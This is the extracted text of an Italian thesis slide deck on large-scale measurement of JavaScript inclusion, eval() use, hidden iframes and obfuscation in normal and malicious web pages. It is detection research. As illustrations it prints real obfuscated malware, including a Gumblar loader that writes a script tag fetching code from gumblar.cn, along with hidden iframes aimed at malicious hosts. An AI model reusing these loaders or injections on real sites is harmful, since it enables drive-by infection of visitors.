Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
1. Introduzione Dataset Offuscamento Analisi Sviluppi futuri
Progetto e realizzazione di un sistema
per la caratterizzazione su larga scala
dei codici JavaScript nel Web
Universit` Degli Studi Di Trieste
a
Facolt` di Ingegneria
a
Corso di Laurea Specialistica in Ingegneria Informatica
LAUREANDA RELATORE
Sara Zambon Chiar.mo Prof. Alberto Bartoli
CORRELATORE
Ing. Eric Medvet
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
2. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
L’era del Web 2.0
Evoluzione del Web:
dinamicit`a
interazione con l’utente
⇒ grazie a script, frammenti di codice eseguiti lato client
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
3. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
Stato attuale di sicurezza nel Web
Rapporti Websense, Sophos:
crescita del 671% di siti Internet malicious in un anno
77% dei siti malicious sono siti affidabili compromessi
Drive-by download
Scaricamento automatico di malware
→ spesso ` un link a inoltrare l’utente verso pagina maligna
e
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
4. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
Inclusione di codice
Durante la navigazione fra le pagine di un sito:
1 esecuzione di mix di codici provenienti da siti terzi,
inclusi tramite:
→ script
→ iframe, talvolta invisibili
2 esecuzione di codici offuscati
! all’insaputa dell’utente
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
5. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
Inclusione di codice
! all’insaputa dell’utente
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
6. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
L’obiettivo della ricerca
Obiettivo
Caratterizzazione dell’inclusione degli script nelle pagine web
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
7. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
L’obiettivo della ricerca
Obiettivo
Caratterizzazione dell’inclusione degli script nelle pagine web
⇒ sostanziale assenza di studi con medesima finalit`
a
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
8. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
I cinque quesiti
1 Quanto ` diffusa l’inclusione di script da url diversi?
e
2 A che profondit` di inclusione si arriva per includere script?
a
3 Quanto ` diffuso l’utilizzo di eval()?
e
4 Quanto ` diffusa l’inclusione di frame e iframe
e
sospettosamente piccoli?
5 Quanto ` diffuso l’utilizzo di tecniche di offuscamento?
e
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
9. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
10. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
11. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilata
dall’azienda Alexa
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
12. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilata
dall’azienda Alexa
≈ 20% pagine Malicious
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
13. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilata
dall’azienda Alexa
≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal
progetto Malware Domain List
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
14. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilata
dall’azienda Alexa
≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal
progetto Malware Domain List
< 1% pagine Interesting
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
15. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilata
dall’azienda Alexa
≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal
progetto Malware Domain List
< 1% pagine Interesting→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
16. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Estrapolazione dei dati dalla pagina
Da ciascuna pagina scaricata sono stati
estrapolati:
→ script JavaScript
→ frame
→ iframe
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
17. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Estrapolazione dei dati dalla pagina
Da ciascuna pagina scaricata sono stati
estrapolati:
→ script JavaScript
→ frame
→ iframe
Quindi sono state popolate due tabelle:
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
18. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Estrapolazione dei dati dalla pagina
Da ciascuna pagina scaricata sono stati
estrapolati:
→ script JavaScript
→ frame
→ iframe
Quindi sono state popolate due tabelle:
→ Ts , tabella degli script JavaScript
→ Ti , tabella dei frame e degli iframe
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
19. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
La tabella degli script e la tabella dei frame e degli iframe
Per ogni script viene inserita una riga
Per ogni frame e iframe viene inserita
nella tabella Ts :
una riga nella tabella Ti :
Script URL
Iframe URL
Root page URL
Root page URL
Script body
Iframe body
Category:
Enclosing:
Embedded Script
HTML Embedded
Child Script
Script Embedded
Intrinsic Event
Locality:
Locality:
Local
Local
Remote
Remote
List of HTTP redirection for the
List of HTTP redirection for the
iframe
script
...
...
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
20. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le propriet` estratte
a
Propriet` estratte dagli script:
a
Function name
Document.write
Iframe
Variable name
Variable content
Long string
Eval
Unescape
Decode
Onerror
Exec
String.fromCharCode
String.charCodeAt
Math.random
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
21. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le propriet` estratte
a
Propriet` estratte da frame e iframe:
a
Width
Height
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
22. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Dalle propriet` alle features
a
→ 1 pagina ⇒ n script
→ 1 script ⇒ 14 propriet`
a
→ 1 propriet` ⇒ m items
a
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
23. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Dalle propriet` alle features
a
→ 1 pagina ⇒ n script
→ 1 script ⇒ 14 propriet`
a
→ 1 propriet` ⇒ m items
a
→ 1 script ⇒ 17 features, ottenute:
contando ⇒ items associati a una propriet`
a
contando ⇒ items offuscati associati a una propriet`
a
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
24. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features
a
Le features
Vettore di 17 numeri, features, associato allo script:
Feature
Number of Obfuscated Function name
Number of Obfuscated Document.write
Number of Obfuscated Iframe
Number of Obfuscated Variable name
Number of Obfuscated Variable content
Number of Obfuscated Long String
Number of Eval
Number of Obfuscated Eval
Number of Eval with long argument
Number of Unescape
Number of Obfuscated Unescape
Number of Obfuscated Decode
Number of Obfuscated Onerror
Number of Obfuscated Exec
Number of String.fromCharCode
Number of String.charCodeAt
Number of Math.random
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
25. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Definizione di Offuscamento
! Assenza definizione precisa
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
26. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Definizione di Offuscamento
! Assenza definizione precisa
Definizione di codice offuscato
Codice progettato in modo da nascondere le sue reali finalit`,
a
anche a seguito di un’analisi approfondita da parte di operatori
esperti
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
27. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Definizione di Offuscamento
! Assenza definizione precisa
Definizione di codice offuscato
Codice progettato in modo da nascondere le sue reali finalit`,
a
anche a seguito di un’analisi approfondita da parte di operatori
esperti
Obiettivi alla base dell’offuscamento:
º proteggere la paternit` del codice
a
» celare codice maligno
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
28. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Due esempi di script JavaScript offuscati
Primo script offuscato
f u n c t i o n c ( g ) { v a r m=0; w h i l e (m . l e n g t h ) { v a r r=g [m ] ; r . l=d ( r . n , r . o ) ; i f ( r . j==t r u e ) {
<g
r . k=e ( r . n , r . o , r . l ) ; } e l s e { r . k =0;} r . t=f ( r . l+r . k ) ;m++;}}
Secondo script offuscato
xR5p=3D’ % ’ ; e v a l ( u n e s c a p e ( ( ’ v a r ” 20 a ” 3d” 22 Sc ” 72 i p t E n g i n ” 65 ” 22 ” 2 c ” 62 ” 3d” 22 ”5=6 e r s ”
69 on ( )+” 22 ” 2 c ” 6 a ” 3d” 22 ” 22 ” 2 cu ” 3 d n a v i g ” 61 t ” 6 f r ” 2 e ” 75 s ” 65 r A g e n t ” 3 b i f ((= ” 75 ” 2
e i n d ” 65 xOf ” 28 ” 22Win” 2 2 ) ” 3 e0 ) ” 26 ” 2 6 ( u” 2 e ” 69 n” 64 exO” 6 6 ( ” 22NT” 20 ” 36 ” 22 ”=29” 3 c0
) ” 26 ” 2 6 ( documen ” 74 ” 2 e c o o k i e ” 2 e ” 69 ndex ” 4 f ” 66 ” 28 ” 22 ” 6 d i e ” 6b” 3 d1 ” 2 2 ) ”3=c0 ) ” 26 ”
26 ” 28 t ” 79 ” 70 e ” 6 f f ( ” 7 a r v z t s ) ” 21 ” 3 d t y p e o f ( ” 22A” 2 2 ) ) ” 29 ” 7 b z r v z t s ” 3d”2=2A” 22 ” 3b
” 65 va ” 6 c ( ” 22 i f ( wi ” 6 edow ” 2 e ”22+a+” 22 ” 29 j ” 3d” 6 a+”22+a+” 22M” 61 j o ” 72 ”=22+” 62 ” 2
ba+” 22 Minor ” 22 ” 2 bb+a+” 22B” 75 ” 69 l d ” 22 ” 2 bb ” 2b” 22 j ” 3b” 2 2 ) ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2
ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ” 2 f r s s ” 2 f ”3= f i d ” 3d”
22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) . r e p l a c e ( j i l , xR5p ) ) ) }=) ( / ” / g ) ;
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
29. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Due esempi di script JavaScript offuscati
Secondo script
! Gumblar
⇒ A maggio 2009 deteneva il 42% infezioni a livello globale
⇒ all’esecuzione download altro script da
http://www.gumblar.cn/rss/
Ultime righe del secondo script
[ . . . ] ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2 ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ”
2 f r s s ” 2 f ”3= f i d ” 3d”22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) [ . . . ]
⇒ obiettivo offuscamento: celare codice maligno
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
30. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Esempi di items offuscati
nomi offuscati di funzioni
c07b380984r0368a7 , r32fdfe1768 , re15d694d .
nomi offuscati di variabili
a 7 0 4 4 t f , a7044pu , a 7 0 4 4 p f , a7044su , a 7 0 4 4 s f , a 7 0 4 4 o f , a7044op ,
a7044ops , a 7 0 4 4 o t , a7044d , a 7 0 4 4 o e .
variabile con argomento offuscato
v a r ne07614 =[” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ” 131 ” , ”
129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 94 ” , ” 149 ” , ” 101 ” ,
” 128 ” , ” 68 ” , ” 62 ” , ” 144 ” , ” 139 ” , ” 140 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 145 ” , ” 79 ” , ” 79 ” , ”
82 ” , ” 62 ” , ” 69 ” , ” 74 ” , ” 143 ” , ” 144 ” , ” 149 ” , ” 136 ” , ” 129 ” , ” 74 ” , ” 128 ” , ” 133 ” , ”
143 ” , ” 140 ” , ” 136 ” , ” 125 ” , ” 149 ” , ” 60 ” , ” 89 ” , ” 60 ” , ” 62 ” , ” 138 ” , ” 139 ” , ” 138 ” , ”
129 ” , ” 62 ” , ” 87 ” , ” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ”
131 ” , ” 129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , [ . . . ] ] ;
document.write() con argomento offuscato
document . w r i t e ( ’<a h r e f=” h t t p : / /www . 5 1 . l a /?002347044 ” t a r g e t=” b l a n k ” t i t l e =”
51.la 专业、免
;费、强健的访问统&#
x8BA1 ; ”> 网站统计 ;</ a>n ’ )
stringa con argomento offuscato
c=T . 7 y ( ) ; 1 e ( c . 1 A+29.2 f ( 1Q. 1 C . 2 e , 1Q. 1 c . 2 e ) , c . 1 S +29.2 f ( 1Q. 1 C . 2 c , 1Q. 1 c . 2 c ) ) ; 1
e(−1Q. 1 C . 6 b,−1Q. 1 C . 6 a ) }N{1 e (T . 5 X , T . 5W) ; 1 B( 1 s ) {1 e ( 1 s . 5 X , 1 s . 5W) ; G
(42&&!/ˆ t ( 9 8 | d | h ) $ / i . 1 1 ( 1 s . 2 j ) | | 2 k&&!5U) 2C( 1 s ) ; G ( ! 3 c&&1g ( 1 s , ” 30 ” )==” 3
c ” ) 3 c= 4 a=/ˆ1 c$ / i . 1 1 ( 1 s . 2 j ) ?4 a : 1 s ; 1 s=1s . 1 s }1B( d&&d . 2 j &&!/ˆ1 c | 2 K$/ i
M;
. 1 1 ( d . 2 j ) ) {G ( ! / ˆ 9 6 | 1 T. ∗ $ / i . 1 1 ( 1 g ( d , ” 18 ” ) ) ) 1 e(−d . 2 e ,−d . 2 c ) ; G(42&&1g ( d ,
” 33 ” ) !=” 4 j ” ) 2C( d ) ; d=d . 1 d}G ( ( 5U&&(3c | | 1 g ( 4 a , ” 30 ” )==” 5 x ” ) ) [ . . . ]
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
31. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Esempi di propriet` offuscate
a
stringa lunga con argomento offuscato
rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF105rcDF
100 rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rcDF104rcDF1
01 rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rcDF34rcDF32rcDF1
15 rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcDF112rcDF58rcDF47rcDF
47 rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF57rcDF51rcDF49rcDF46rcDF9
9 rcDF110rcDF47rcDF116rcDF114rcDF97rcDF102rcDF102rcDF47rcDF105rcDF110rcD
F46rcDF99rcDF103rcDF105rcDF63rcDF50rcDF34rcDF32rcDF115rcDF116rcDF121rcD
F108rcDF101rcDF61rcDF34rcDF98rc
eval() con argomento offuscato
e v a l ( u n e s c a p e ( ’ f u n c t i o n %20AGAHlA%28SCSL%29%7BR GHH%3Dnew%20 S t r i n g %28
a r g u m e n t s . c a l l e e %29. r e p l a c e %28/%5B%5E@a−z0−9A−Z .%5D/ g%2C%27%27%29%2
CH ShH%3D%27%27%2CAsRG%3D−1%2CASaIS %3D−1%3Bvar%20HpCh%3D0%3B f o r %28
AsRG%3D0%3BAsRG%3CR GHH . l e n g t h %3BAsRG++%29HpCh%5E%3DR GHH . c h a r C o d e A t
%28AsRG%29%3BAsRG%3D−1%3B w h i l e%28++A S a I S %3CSCSL . l e n g t h %29%7 B i f %28
AsRG%3D%3DR GHH . l e n g t h %29AsRG%3D0%3B e l s e %20AsRG++%3BH ShH+%3D S t r i n g .
fromCharCode%28HpCh%5ESCSL . c h a r C o d e A t%28A S a I S %29%5ER GHH . c h a r C o d e A t
%28AsRG%29%29%3B%7Ddocument . w r i t e %28H ShH%29%3BH ShH%3D%27%27%3
B r e t u r n%3B%7D ’ ) ) ;
unescape() con argomento offuscato
u n e s c a p e ( ”%3C i f r a m e %20name%3D%22 a d p r o t e s t %22%20 w i d t h%3D%22”+wi+”%22%20
h e i g h t %3D%22”+he+”%22%20 f r a m e b o r d e r%3D%220%22%20 s r c %3D%22 h t t p%3A//
s c r i p t s . c h i t i k a . n e t / s t a t i c / a d p r o . h t m l%22%20 m a r g i n w i d t h%3D%220%22%20
m a r g i n h e i g h t%3D%220%22%20 v s p a c e%3D%220%22%20 h s p a c e%3D%220%22%20
a l l o w t r a n s p a r e n c y %3D%22 t r u e %22%20 s c r o l l i n g %3D%22no%22%3E%3C/ i f r a m e %3E
”)
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
32. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Iframe invisibili
iframe reso invisibile dalle dimensioni nulle (width=0 e height=0)
<i f r a m e s r c=” hxxp : / / g o o g l e−a n a l y z . cn / c o u n t . php ? o=1” w i d t h=0 h e i g h t =0 s t y l e
=” h i d d e n ” f r a m e b o r d e r=0 m a r g i n h e i g h t =0 m a r g i n w i d t h=0 s c r o l l i n g =no></
i f r a m e>
iframe reso invisibile da una sola dimensione nulla (height=0)
<i f r a m e s r c=” hxxp : / / a86x . homeunix . o r g : 8 0 8 0 / t s / i n . c g i ? open2 ” w i d t h =997
h e i g h t =0 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e>
</
iframe di dimensioni minime e dunque difficilmente percepibile
<i f r a m e s r c=” hxxp : / / y o u r l i t e t o p . cn / t s / i n . c g i ? m o z i l a 7 ” w i d t h=2 h e i g h t =4
s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e>
</
iframe reso invisibile dall’attributo visibility:hidden
<i f r a m e s r c=” hxxp : / / c o m b i n e b e t . cn : 8 0 8 0 / i n d e x . php ” w i d t h =180 h e i g h t =141
s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e>
</
iframe non visibile perch` interno a un “contenitore” <div> invisibile
e
<d i v s t y l e=” d i s p l a y : none ”>
<i f r a m e s r c=” hxxp : / / r e d−w o l f . r u : 8 0 8 0 / i n d e x . php ” w i d t h =574 h e i g h t =455>
</ i f r a m e>
</ d i v>
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
33. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Dynamic Evaluation
Moderni linguaggi di scripting permettono la dynamic evaluation:
º valutazione run time input utente
» grave problema per la sicurezza
La funzione JavaScript eval()
esegue una stringa trattandola come codice
→ potenzialmente in grado di compiere qualsiasi azione
→ nella maggior parte dei casi uso scorretto
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
34. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
L’analisi sull’offuscamento
Obiettivo
Individuazione criterio per stabilire se un script ` offuscato o meno
e
Primo criterio di offuscamento
Soglie sulle features ottenute da analisi delle propriet` degli script
a
Secondo criterio di offuscamento
Classificatore realizzato su risultati di test svolti da analisti
⇒ per ogni script di Ts → 2 “bit di offuscamento”
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
35. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il primo bit di offuscamento
→ 1 script → vettore 17 features
Primo criterio:
→ soglie basate su domain knowledge
→ se almeno una feature supera la soglia ⇒ lo script ` offuscato.
e
Feature Soglia
Number of Obfuscated Function name 0
Number of Obfuscated Document.write 0
Number of Obfuscated Iframe 0
Number of Obfuscated Variable name 4
Number of Obfuscated Variable content 4
Number of Obfuscated Long String 0
Number of Eval 2
Number of Obfuscated Eval 0
Number of Eval with long argument 0
Number of Unescape 2
Number of Obfuscated Unescape 0
Number of Obfuscated Decode 0
Number of Obfuscated Onerror 0
Number of Obfuscated Exec 0
Number of String.fromCharCode 4
Number of String.charCodeAt 4
Number of Math.random 4
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
36. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo criterio
77 analisti esaminatori di 893 script di Ts
→ Ritieni che questo codice sia offuscato (anche solo parzialmente)?
Possibili opzioni di risposta: S` No, Non so
ı,
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
37. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo criterio
77 analisti esaminatori di 893 script di Ts
→ Ritieni che questo codice sia offuscato (anche solo parzialmente)?
Possibili opzioni di risposta: S` No, Non so
ı,
→ dei 893 script → 691 con pi` di una valutazione
u
→ dei 691 script → 561 con maggioranza di giudizio
→ dei 561 script:
→ 372 (66%) giudizio unanime
→ 100 (18%) range di valutazioni comuni fra l’51% e il 67%
→ dei 691 script → 130 senza maggioranza di giudizio
→ dei 130 script:
→ 81 (67%) giudizio unanime Non so
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
38. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo bit di offuscamento
→ 1 script → vettore 17 features
Secondo criterio:
→ per ogni script dei 561 → bit offuscameno analisti
→ addestramento di un classificatore Multilayer Perceptron
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
39. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo bit di offuscamento
→ 1 script → vettore 17 features
Secondo criterio:
→ per ogni script dei 561 → bit offuscameno analisti
→ addestramento di un classificatore Multilayer Perceptron
⇓
Classificatore applicato a tutti gli script di Ts
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
40. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Caratterizzazione generale
Grafici di distribuzione cumulativa sulla somma delle dimensioni degli
script per pagina
(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious
Normal → script dimensioni maggiori: Child Script
Malicious → script dimensioni maggiori: Embedded Script
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
41. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Inclusione di script da URL diversi
Quanto ` diffusa l’inclusione di script da url diversi?
e
(c) Distribuzione nelle pagine Normal (d) Distribuzione nelle pagine Malicious
Normal:
→ il 90% pagine include Embedded Script da un altro dominio
→ il 20% pagine include Child Script da 2 domini diversi
→ il 10% pagine include Child Script da 3 domini diversi
Malicious:
→ minima percentuale di pagine include script da 2 domini diversi
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
42. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Profondit` di inclusione a livello script
a
A che profondit` di inclusione si arriva per includere script?
a
Percentuale di script calcolata sul numero totale di script
(e) Distribuzione nelle pagine Normal (f) Distribuzione nelle pagine Malicious
Normal:
→ l’85% degli script presenti ha profondit` pari a 1
a
→ ≈ 13% ` caratterizzato da livello di profondit` uguale a 2
e a
Malicious:
→ l’70% degli script presenti ha profondit` pari a 1
a
→ ≈ 30% ` caratterizzato da livello di profondit` uguale a 2
e Sara Zambon a Caratterizzazione dei codici JavaScript nel Web
43. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Profondit` di inclusione a livello script
a
A che profondit` di inclusione si arriva per includere script?
a
Percentuale di script calcolata sulla dimensione degli script
(g) Distribuzione nelle pagine Normal (h) Distribuzione nelle pagine Malicious
Normal:
→ l’85% del codice incluso ha profondit` 2
a
Malicious:
→ la situazione non varia di molto rispetto al caso precedente
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
44. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Utilizzo di eval()
Quanto ` diffuso l’utilizzo di eval()?
e
Normal:
→ nel 2,7% delle pagine sono presenti script contenenti eval()
Malicious e Interesting:
→ in pi` dell’8% delle pagine sono presenti script contenenti eval()
u
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
45. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Utilizzo di eval()
Quanto ` diffuso l’utilizzo di eval()?
e
(con argomento superiore ai 140 caratteri)
Normal:
→ quasi totalit` di script contententi eval() ` del tipo Child Script
a e
Malicious:
→ maggior numero di script contententi eval() fra gli Embedded Script
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
46. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Utilizzo di iframe sospettosamente piccoli
Quanto ` diffusa l’inclusione di frame e iframe sospettosamente piccoli?
e
Normal:
→ l’8,5% delle pagine include un frame o un iframe praticamente invisibile
→ il 3% delle pagine ne include 2
→ una minima percentuale di pagine arriva ad includerne 16
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
47. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Percentuali di script offuscati
Quanto ` diffuso l’utilizzo di tecniche di offuscamento?
e
(i) Criterio “Soglie sulle features” (j) Criterio “Classificatore MLP”
Soglie sulle features:
→ evidenzia offuscamento negli Embedded Script delle pagine Malicious
Classificatore MLP:
→ evidenzia offuscamento quasi esclusivamente nei Child Script
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
48. Introduzione Dataset Offuscamento Analisi Sviluppi futuri
Gli sviluppi futuri
Nuove analisi:
1 nuove propriet`
a
⇒ possibile discernere pagine maligne da benigne?
⇒ possibile classificare pagine senza disporre di liste aggiornate
sui siti infetti?
2 studio dell’aspetto dinamico della pagina
⇒ possibile distinguere manipolazioni fraudolente da legittime?
Sara Zambon Caratterizzazione dei codici JavaScript nel Web